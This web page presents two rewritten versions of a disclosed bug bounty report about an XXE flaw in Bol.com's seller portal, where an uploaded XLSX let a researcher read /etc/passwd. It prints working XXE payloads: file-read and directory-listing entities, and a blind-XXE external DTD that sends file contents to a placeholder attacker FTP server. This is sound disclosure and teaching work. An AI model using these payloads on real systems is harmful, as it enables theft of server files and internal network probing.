Skip to content
XXE Write-up Intermediate

XXE at Bol.com

The seller portal's Excel upload feature parsed XLSX files as XML without disabling external entities, allowing an attacker to inject a custom entity that read local server files. The attacker could then download the modified inventory file to view the contents of /etc/passwd.

Jonathan Bouman Follow

Published on medium.com

Bounty$500 View original

Before we start we first need to learn something more about XXE, LFI and RCE. After that we are ready to go!

Jonathan Bouman, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Bol.com is one of the largest ecommerce websites in the Netherlands. Sellers on the platform get access to a Seller Portal, and part of that portal lets them manage their inventory in bulk. The interface offers three steps:

  1. Download an Excel file containing your current inventory.
  2. Upload the changed Excel file.
  3. View the results of the upload.
Bol.com Seller Portal From the original on medium.com

Bol.com Seller Portal

The bulk upload interface From the original on medium.com

The bulk upload interface, labelled in Dutch: 'Aanbod beheren via excel' means 'Manage inventory in Excel'.

The downloaded file has the XLSX extension, an open file format developed by Microsoft. Behind the scenes an XLSX is a zip file containing multiple XML files, which is the property that makes this feature interesting for an XXE test.

Setup

For the attack itself the researcher used:

  • A public facing server to host the payload infrastructure.
  • XXEserv, created by staaldraad, a simple FTP / HTTP server that displays all requests made to it. It also fakes an FTP server, which matters because HTTP sometimes fails due to the characters in the string while FTP just works.
  • An unzip/zip tool to take the XLSX apart and put it back together.

Finding it

The reasoning starts from the upload surface. Sellers can upload images or other files relating to their products, and the bulk upload interface accepts an XLSX. Since an XLSX is a zip of XML files, any XML parser that processes the uploaded document is a candidate for XML External Entity injection.

A short recap of the underlying mechanics, as the report lays them out. XML is a markup language that allows one to create documents that are supposed to be easy to read by computers and humans.

Example of a XML file From the original on medium.com

Example of a XML file

Content appears between tags, <body>contents</body> for example, so specific characters inside a tag must be escaped. By default XML escapes the <>&'" characters into entities like &lt;&gt;&amp;&apos;&quot;, which keeps the characters usable without breaking the file.

Example of a custom entity From the original on medium.com

Example of a custom entity

The Chrome XML parser will replace the &body; entity with our defined string From the original on medium.com

The Chrome XML parser will replace the &body; entity with our defined string

XML also allows defining your own entities by including a Document type definition (DTD) in the document:

XML
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY body "Don't forget me this weekend!" >]><note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body><r>&body;</r></body></note>

If a parser allows a file instead of a string, the entity is replaced by the contents of that file. Changing <!ENTITY body "Don't forget me this weekend!" > into <!ENTITY body SYSTEM "file:///etc/passwd" > makes some parsers display the contents of /etc/passwd. Some XML parsers also allow loading external URLs: replace the file:// string with an http:// URL and the webserver will request it, which opens the door to Server Side Request Forgery, internal port scanning and mapping the internal network. Other possibilities are direct RCE through PHP modules and denial of service attacks.

The local file inclusion only works if the input is returned somewhere, otherwise the replaced entity cannot be read. For the blind case the report describes a trick: since external DTDs can be loaded, a custom entity can be appended to an external URL, and as long as the URL is valid it will load the URL with the (file) contents appended to it. Characters like # will break the URL.

Exploitation

Step 1: Download and unzip the inventory file

The Excel file downloaded from the Seller Portal is an XLSX.

Example of the Excel file you download from the Seller Portal From the original on medium.com

Example of the Excel file you download from the Seller Portal

Unzipping it reveals the XML files inside.

XLSX Unzipped From the original on medium.com

XLSX Unzipped

One of the XML files contains the data of sheet 1 From the original on medium.com

One of the XML files contains the data of sheet 1

Opening sheet1.xml shows the following code.

From the original on medium.com

Step 2: Pick the target cell

The goal is to inject the file contents of /etc/passwd into the Offer description, which is cell G4 in the original Excel sheet.

Cell G4 is selected From the original on medium.com

Cell G4 is selected

In the XML, the string 'Sample description' is referred to by the id 108.

Step 3: Add the custom entity

A custom entity is added to the sheet and the cell value is replaced with that entity.

Injecting our custom entity From the original on medium.com

Injecting our custom entity

Step 4: Repackage the file

The file is saved, the folder is zipped again, and the file is renamed to xlsx.

Zip the files and change the extension to .xlsx From the original on medium.com

Zip the files and change the extension to .xlsx

Step 5: Upload and download again

The modified file is uploaded in step 2 of the interface, allowed to load, and then downloaded again from step 1. If the XXE attack works, it would update the Sample Product (row 4 in Excel) and inject the file contents of /etc/passwd into the Offer Description of this product.

Result

From the original on medium.com
Proof of concept (contents of the server file /etc/passwd are loaded into the offer description field)

Proof of concept: the contents of the server file /etc/passwd are loaded into the offer description field.

It worked. The contents of the local server file appeared as a string in the uploaded document, and downloading the document afterwards made them readable.

Blind variant with an external DTD

For the case where the server parses the XML but does not show the contents in the response, the report gives the following procedure.

  1. Install XXEserv on a public facing server.
  2. Create an external DTD file (i.e. sp2.dtd) that contains the file or (internal) URL you want to leak. Replace the x.x.x.x with the IP address or hostname of your server:
Text
<!ENTITY % d SYSTEM "file:///etc/passwd"><!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">
  1. Put this external DTD file in the XXEserv directory. XXEserv acts as a public ftp and web server, so the file can be linked.
  2. Send the XML payload to the victim, including the external DTD:
XML
<?xml version=”1.0" encoding=”UTF-8"?><!DOCTYPE r [<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">%a;%c;]><note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body><r>&body;</r></body></note>
  1. Watch the output of XXEserv.
Example of XXEserv output from another report. Here we leak the RSA public key from the local meta server by loading our external DTD over FTP. From the original on medium.com

Example of XXEserv output from another report. Here we leak the RSA public key from the local meta server by loading our external DTD over FTP.

The parameter entity %d reads the local file, %c builds a second entity whose system identifier is an FTP URL on the attacker's server with %d appended, and the document body references &body; so the parser resolves it.

Root cause

The uploaded XLSX is parsed as XML, and entity declarations in the document are resolved, including SYSTEM identifiers pointing at local files. The parser reads local files and places their contents into the parsed document, which can be downloaded again afterwards. The report does not describe the server side code, so the exact parser and its configuration are not stated; the behaviour is consistent with a parser that has not disabled DTD support.

Impact

By editing an XML file the researcher was able to include the contents of a local server file as a string in the upload, and download the document afterwards, reading private files from one of Bol.com's production servers. The report lists the impact as:

  • Local file inclusion.
  • Possible local denial of service attack (not confirmed, Billion laughs attack).
  • Possible RCE (not confirmed).
  • Possible SSRF (not confirmed).

The next steps the researcher had in mind were checking whether the server is part of a cloud hosting provider that supports cloud meta data, checking for configuration files containing API keys, and seeing whether LFI could be escalated to RCE. The impact was already high, so Bol.com was informed immediately and asked whether escalation to RCE should be checked; the bug was fixed before they could answer.

A bonus observation: the XML parser used by Bol.com returns file names (as one big string) when parsing directories instead of files, for example <!ENTITY body SYSTEM "file:///etc/">. That allows quick enumeration of all files on the server without brute forcing file names.

Fix

Bol.com deployed a fix on 04-09-18, one day after confirming the bug. The report does not describe what the fix changed. The recommended solution is to disable any DTD support in the XML parser; OWASP maintains an overview of different parsers and their configuration.

Variants to test

  • Image uploads. The report notes that XXE payloads can be embedded in plenty of files, so every image upload is a potential XXE vulnerability. BuffaloWill created a tool that embeds XXE payloads into those different file formats.
  • Directory parsing. Try <!ENTITY body SYSTEM "file:///etc/"> against a parser that reflects entity contents.
  • Blind reflection. When the response does not show the entity, host an external DTD with XXEserv and point the payload at it over HTTP, with the exfiltration entity using FTP. A positive result is an inbound FTP request on your server carrying the target file's contents.
  • SSRF via external entities. Replace file:// with an http:// URL pointing at an internal host.

Timeline

Date Event
02-09-18 Discovered bug, informed Bol.com
03-09-18 Bol.com confirmed the bug
04-09-18 Bol.com deployed fix, rewarded €500 Bol.com voucher
08-09-18 Wrote this blog, informed Bol.com
11-09-18 Published this blog

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

Bol.com is one of the biggest online shops in the Netherlands. People and companies sell things there, and sellers get their own area of the website, the Seller Portal, to manage what they offer. Part of that portal lets a seller manage a whole list of products at once instead of one by one. You download a spreadsheet, change it, and upload it back.

That spreadsheet turned out to be a way to make Bol.com's own server hand over a private file from its disk. The file in the proof of concept is /etc/passwd, a standard file on Unix-like machines that lists the user accounts. The contents of that file ended up inside the Offer Description of the Sample Product, and because the inventory file can be downloaded again, the researcher could simply read it.

The technique is called XXE, short for XML External Entity. It abuses a feature of the XML file format that lets a document pull in outside content, including files stored on the machine that processes the document. The report walks through what XML is, what that feature does, how to hide the trick inside an Excel file, and how the result was confirmed. It also covers a variant for when the server does not show you the result directly, and a few related attacks that were considered but not confirmed.

Background: the earlier reports

The report opens by placing itself in a series. Earlier pieces covered executing code in a visitor's browser, both reflected XSS and stored XSS, plus misconfigured server settings and open redirects. This one is about a different goal: stealing private files from a server.

If you are new to all of this, the useful distinction is where the damage happens. XSS runs code in the browser of another visitor. An open redirect sends a visitor to a different website. The bug in this report does neither: it makes the server itself read one of its own files and place the contents into the uploaded document.

Picking a target

The researcher chose Bol.com deliberately. The way the company handled the earlier open redirect report was good: fast replies, a proper fix, updates along the way, no hassles, no NDA's, a happy tone of voice. That matters when you report a bug, because you want the company to fix it, not to argue with you. A company that behaves like that is one you want to be part of.

Three terms first: XXE, LFI and RCE

Before touching the website, the report explains three ideas. They build on each other, so it is worth going slowly.

LFI, Local File Inclusion, is the process of displaying internal server files in the server response. Picture a hotel receptionist who, when you ask for the guest list, also reads out the staff rota and the safe combination because nobody told them which papers are for guests. The server is the receptionist; the private files are everything on its disk.

RCE, Remote Code Execution, is the process of executing our own code on a server. This is worse than reading files: instead of reading the receptionist's papers, you get to give the receptionist instructions. A complete server take-over becomes possible.

Often an LFI bug leads to RCE. There are plenty of tricks to escalate LFI to RCE, and the report points at the credits of that collection as good reading.

RCE bugs have a high impact because of that take-over. Most servers run website code under an account with limited access, so even a full RCE starts small. Every now and then, though, flaws are found in operating systems themselves that allow one to bypass this specific access limitation. You may have used this type of bug yourself: jailbreaking iOS on your iPhone or [rooting your Android phone](https://en.wikipedia.org/wiki/Rooting_(Android%29) are both examples of taking over an operating system by exploiting a bug. We call this privilege escalation.

XXE, XML External Entity, is the subject of this report. These attacks are based on extending an XML file so it loads local files and external URLs. It may lead to LFI and RCE, so it has a high impact. Although it was discovered in 2002, it is still a bug you will find in plenty of websites these days. High impact and high [incidence](https://en.wikipedia.org/wiki/Incidence_(epidemiology%29): worth learning properly.

What XML is

XML is a markup language that allows one to create documents that are supposed to be easy to read by computers and humans. Although some say it is a language of the past, it is still used in many places these days.

Example of a XML file From the original on medium.com

Example of a XML file

If you look closely at the example, the contents appear in between a tag, <body>contents</body> for example. A tag is a label in angle brackets that says what a piece of content is. Because the angle brackets are the labels, they cannot also be ordinary text inside the content: if they were, the computer could not tell where a label ends and text begins. So specific characters inside a tag must be escaped. Otherwise one is able to inject a tag and manipulate the whole XML file, and nobody wants that.

By default XML escapes the <>&'" characters into entities like &lt;&gt;&amp;&apos;&quot;. An entity is a short code standing in for a character. &lt; means "less than sign", &amp; means "ampersand", and so on. The point is that you can still write those characters as text without breaking the file: the parser turns the code back into the character when it reads the document.

Example of a custom entity From the original on medium.com

Example of a custom entity

The Chrome XML parser will replace the &body; entity with our defined string From the original on medium.com

The Chrome XML parser will replace the &body; entity with our defined string

XML has a nice feature that allows us to define our own entities by including a Document type definition (DTD) in the XML document. A DTD is a block at the top of the document that declares rules and shortcuts. Instead of writing a long sentence every time, you declare a name once and use the name everywhere. The images above show the declaration and the result: the browser's XML parser replaces &body; with the string that was defined for it.

Here is the example DTD from the report:

XML
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY body "Don't forget me this weekend!" >]><note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body><r>&body;</r></body></note>

Line by line, in plain words:

  • <?xml version="1.0" encoding="UTF-8"?> is the declaration that says "this is an XML document, version 1.0, and the text is encoded as UTF-8". It is the first line of almost every XML file.
  • <!DOCTYPE r [ opens the DTD. DOCTYPE means "document type"; r is the name given to the root element of this document; the square bracket starts the list of declarations.
  • <!ELEMENT r ANY > says the element called r may contain anything. It is a permissive rule, there to keep the document valid.
  • <!ENTITY body "Don't forget me this weekend!" > is the interesting one. It declares an entity named body whose value is the text in quotes. Wherever &body; appears later, the parser substitutes that text.
  • ]> closes the declaration list and the DOCTYPE.
  • <note> starts the actual content, a note with a recipient, sender, heading and body.
  • <to>Tove</to> and <from>Jani</from> are ordinary elements with text inside.
  • <heading>Reminder</heading> is another one.
  • <body><r>&body;</r></body> is where the substitution happens. The outer body element contains an r element, and inside r the parser finds &body; and replaces it with Don't forget me this weekend!.

So the document as written contains a short code, and the document as read by the parser contains the full sentence. That substitution is the whole mechanism. Everything that follows is about making the substituted value something more interesting than a sentence.

Exploiting the XML parser

But what if a parser allows us to define a file instead of a string? The result will be that the entity will be replaced by the contents of a file. By changing <!ENTITY body "Don't forget me this weekend!" > into <!ENTITY body SYSTEM "file:///etc/passwd" > some parsers will display us the contents of the /etc/passwd file.

The word SYSTEM is the switch. In the previous example the value was a quoted string, so the parser used it literally. With SYSTEM the value is treated as a location to fetch, and file:///etc/passwd means "the file at this path on the machine running the parser". The parser opens it, reads it, and puts the contents where the entity was used. That is the entire XXE bug in one line.

Besides LFI, some XML parsers also allow us to load external URLs: just replace the file:// string with an http:// URL. The webserver will request this URL. This may result in attacks called Server Side Request Forgery: you are able to request internal webservers, scan for open ports and map the internal network. Think of it as using the server as a proxy you are not supposed to have: you cannot reach the internal machines from your laptop, but the server can, and you can make it ask questions for you. Are you able to access local webservers holding meta data? Congratulations, you may end up with a $25.000 bounty.

Other possibilities are direct RCE through PHP modules and denial of service attacks. A denial of service means making a service unusable, for example by giving it so much work that it stops answering.

The LFI attack described above is only feasible if our input is returned somewhere. Otherwise we cannot read the replaced entity: the server read the file, but the result never comes back to us. If you ever run into this situation you may use the following trick to leak the data.

Blind XXE: leaking data through an external DTD over HTTP or FTP

So the server does parse your XML, but does not show you the contents in the response? This is called blind XXE, because you are working without seeing the result.

Since you are able to load external DTDs, you may append a custom entity to this external URL. As long as the URL is valid it will load the URL with the (file) contents appended to it. Be aware that characters like # will break the URL.

In everyday terms: you cannot make the server tell you the file, but you can make it fetch something from your own server, and you can arrange for the file's contents to be part of the address it fetches. Your server logs the request, so you read the file from your own log. The # character matters because it will break the URL.

XXEserv

A nice tool to capture our XXE requests is XXEserv, created by staaldraad. It is a simple FTP / HTTP server that displays all requests to our server. It also fakes an FTP server; where HTTP sometimes fails due to the characters in the string, FTP just works. FTP is an older file transfer protocol; the practical point here is that it tolerates the characters that appear in file contents better than a URL path does.

Quick start

  1. Install XXEserv on a public facing server. "Public facing" means a machine reachable from the internet, so the target server can connect to it.
  2. Create an external DTD file (i.e. sp2.dtd) that contains the file or (internal) URL you want to leak. Replace the x.x.x.x with the IP address or hostname of your server:
Text
<!ENTITY % d SYSTEM "file:///etc/passwd"><!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">

Line by line:

  • <!ENTITY % d SYSTEM "file:///etc/passwd"> declares a parameter entity named d. The % marks it as a parameter entity, which is an entity usable inside the DTD itself rather than in the document body. SYSTEM "file:///etc/passwd" means its value is the contents of that file on the target server.
  • <!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>"> declares a second parameter entity, c, whose value is itself a declaration. That inner declaration defines an entity called body whose location is an FTP address on the researcher's server, port 21, with %d; at the end. When %d; is expanded, the file contents are appended to the address.
  1. Put this external DTD file in the XXEserv directory. XXEserv acts as a public ftp and web server, so we are able to link this file now.
  2. Send the XML payload to our victim, include our external DTD:
XML
<?xml version=”1.0" encoding=”UTF-8"?><!DOCTYPE r [<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">%a;%c;]><note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body><r>&body;</r></body></note>

Line by line:

  • <?xml version=”1.0" encoding=”UTF-8"?> is the usual XML declaration.
  • <!DOCTYPE r [ opens the DTD for the root element r.
  • <!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd"> declares a parameter entity a that points at the DTD file hosted on the researcher's server over HTTP on port 80. This is how the external DTD gets pulled in.
  • %a; expands a, which loads the external DTD. Loading it brings in the declarations of d and c from step 2.
  • %c; expands c, which creates the body entity pointing at the FTP address with the file contents appended.
  • ]> closes the DTD.
  • <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body><r>&body;</r></body></note> is the document body. The important part is &body;: using the entity forces the parser to resolve it, which triggers the FTP request carrying the data.
  1. Watch the output of XXEserv.
Example of XXEserv output from another report. Here we leak the RSA public key from the local meta server by loading our external DTD over FTP. From the original on medium.com

Example of XXEserv output from another report. Here we leak the RSA public key from the local meta server by loading our external DTD over FTP.

Take a look at this page and this page if you want to see different variations of XXE payloads, get inspired. Got a nice variation that is missing? Please leave a comment below.

Exploring Bol.com

We need to find a way to upload or inject our XML code into Bol.com. A good first step is to take a closer look at their Seller Portal. Most of the time sellers are able to upload images or other files relating to their products.

Bol.com Seller Portal From the original on medium.com

Bol.com Seller Portal

This part of the website allows one to upload products ready to (re)sell. A quick lesson Dutch: 'Aanbod beheren via excel' means 'Manage inventory in Excel'.

The bulk upload interface From the original on medium.com

The bulk upload interface

There are three steps in this interface:

  1. Download an Excel file containing your current inventory.
  2. Upload the changed Excel file.
  3. View the results of the upload.

Why this feature? Because a seller with hundreds of products does not want to edit each one in a web form. The spreadsheet is the bulk version of the same job. For our purposes the important detail is that the file goes into the server and comes back out again, which is exactly the round trip an XXE test needs.

The inventory Excel file

The Excel file has the extension XLSX. This is an open file format developed by Microsoft; behind the scenes it is a zip file containing multiple XML files.

That last sentence is the key to the whole attack. An XLSX looks like a single document in Excel, but it is really a folder of XML files packed into a zip archive. If you can edit one of those XML files and pack it back up, you have edited what the server will parse.

Example of the Excel file you download from the Seller Portal From the original on medium.com

Example of the Excel file you download from the Seller Portal

Let's unzip the XLSX.

XLSX Unzipped From the original on medium.com

XLSX Unzipped

One of the XML files contains the data of sheet 1 From the original on medium.com

One of the XML files contains the data of sheet 1

If we open the sheet1.xml we will see the following code.

From the original on medium.com

Let's say we want to try to inject the file contents of /etc/passwd into the Offer description (this is cell G4, see the original Excel sheet).

Cell G4 is selected From the original on medium.com

Cell G4 is selected

As we can see in the image the string 'Sample description' is being referred to by the id 108. Let's add our custom entity to this sheet and replace this cell's value with our custom entity.

Injecting our custom entity From the original on medium.com

Injecting our custom entity

We save the file, zip the folder again and rename the file to xlsx.

Zip the files and change the extension to .xlsx From the original on medium.com

Zip the files and change the extension to .xlsx

Let's see what happens if we upload the file in step 2, let it load, and download the file again from step 1. If the XXE attack works it would update our Sample Product (row 4 in Excel) and inject the file contents of /etc/passwd into the Offer Description of this product.

Proof of concept

From the original on medium.com
Proof of concept (contents of the server file /etc/passwd are loaded into the offer description field)

Proof of concept: the contents of the server file /etc/passwd are loaded into the offer description field.

It works, time to write a report and inform Bol.com of our findings.

The next step would be to check out if the server is part of some cloud hosting provider that supports cloud meta data, check for configuration files containing API keys and see if it is possible to escalate from LFI to RCE. Cloud metadata is a small internal service that cloud machines use to describe themselves. API keys are the passwords programs use to talk to other services, so a configuration file containing them is a valuable find.

However the impact is already high so I thought it would be wise to inform Bol.com immediately. I asked them if they want me to check for escalation to RCE. But before they could answer the question the bug was fixed.

Bonus #1: directory listing

The XML parser used by Bol.com returns file names (as one big string) if we try to parse directories instead of files (i.e. <!ENTITY body SYSTEM "file:///etc/">). This allows us to quickly enumerate all the files on the server, no brute force of file names is needed.

Brute forcing means guessing: trying thousands of likely names until one exists. Here the server simply lists what is in the folder, which is far faster and more complete. The payload points at a folder rather than a file: file:///etc/.

Bonus #2: image upload? Check for XXE

It is possible to inject XXE payloads in plenty of files. So every image upload is a potential XXE vulnerability. BuffaloWill created an awesome tool that allows you to easily embed XXE payloads into all those different files. Don't forget to check out his talk at Defcon 2015.

The reasoning is the same as with the XLSX: many file formats are secretly containers for XML, so a feature that accepts them and parses them on the server is worth testing.

Conclusion

By editing an XML file we were able to include the contents of a local server file as a string in our upload. We were able to download this document afterwards, so we were able to read private files from one of their production servers. A production server is the machine that serves real customers, as opposed to a test machine.

Solutions

The best solution is to disable any DTD support in your XML parser. If the parser cannot process a DTD, it cannot process an entity declaration either, and the whole attack has nothing to work with. OWASP has a [nice overview](https://www.owasp.org/index.php/XML_External_Entity_(XXE%29_Prevention_Cheat_Sheet) of different parsers and their configuration.

Impact

  • Local file inclusion.
  • Possible to perform a local denial of service attack (not confirmed, Billion laughs attack).
  • Possible RCE (not confirmed).
  • Possible SSRF (not confirmed).

The Billion laughs attack is a neat name for a simple idea: an entity that refers to other entities, which refer to others, each one multiplying the amount of text, until the parser runs out of memory. It is listed as possible, not confirmed.

Timeline

Date Event
02-09-18 Discovered bug, informed Bol.com
03-09-18 Bol.com confirmed the bug
04-09-18 Bol.com deployed fix, rewarded €500 Bol.com voucher
08-09-18 Wrote this blog, informed Bol.com
11-09-18 Published this blog

Glossary

  • API key: a password-like string that lets one program talk to another service; finding one in a configuration file is valuable to an attacker.
  • Blind XXE: an XXE attack where the server processes the payload but does not show the result in its response, so the data has to be sent out another way.
  • Brute force: trying many guesses until one works, for example guessing file names one by one.
  • Cloud metadata: a small internal service on cloud machines that describes the machine and can hand out credentials to anything that can reach it.
  • Denial of service (DoS): making a service unusable, for example by exhausting its memory or processing power.
  • DTD (Document Type Definition): a block at the top of an XML document that declares rules and shortcuts, including entities.
  • Entity: a short code in XML, such as &body;, that the parser replaces with a value when it reads the document.
  • Escaping: writing a special character in a safe coded form so it is treated as text rather than as part of the file's structure.
  • FTP: an older protocol for transferring files between machines; here used because it tolerates characters that break an HTTP URL.
  • LFI (Local File Inclusion): making a server read one of its own local files and show the contents in a response.
  • Parameter entity: an entity declared with % that can be used inside the DTD itself, rather than in the document body.
  • Parser: the program that reads a document and works out its structure; the component that resolves entities.
  • Privilege escalation: gaining more access on a machine than the account you started with, up to full control.
  • Production server: the machine that serves real users, as opposed to a test or development machine.
  • RCE (Remote Code Execution): making a server run code of your choosing.
  • Seller Portal: the part of the Bol.com website where sellers manage their products and inventory.
  • SSRF (Server Side Request Forgery): making a server send requests to addresses you choose, including internal ones you cannot reach yourself.
  • SYSTEM identifier: in an XML entity declaration, a value marked with SYSTEM that the parser fetches from a location such as a file path or URL.
  • Tag: a label in angle brackets in a markup document, such as <body>, that marks what a piece of content is.
  • XLSX: Microsoft's open spreadsheet format; behind the scenes a zip archive containing several XML files.
  • XML: a markup language for documents that are meant to be readable by both computers and humans.
  • XXE (XML External Entity): an attack that abuses XML's ability to load outside content, such as local files or external URLs, through entity declarations.
  • XXEserv: a tool that runs an FTP and HTTP server and displays incoming requests, used to capture data exfiltrated through blind XXE.
  • XSS (Cross-Site Scripting): running code in another visitor's browser; mentioned in the report as the subject of earlier write-ups.

More by Jonathan Bouman

View all

15 more disclosed reports, best first.

More from Bol.com

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

XML external entities (XXE)

The lesson behind this report.

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.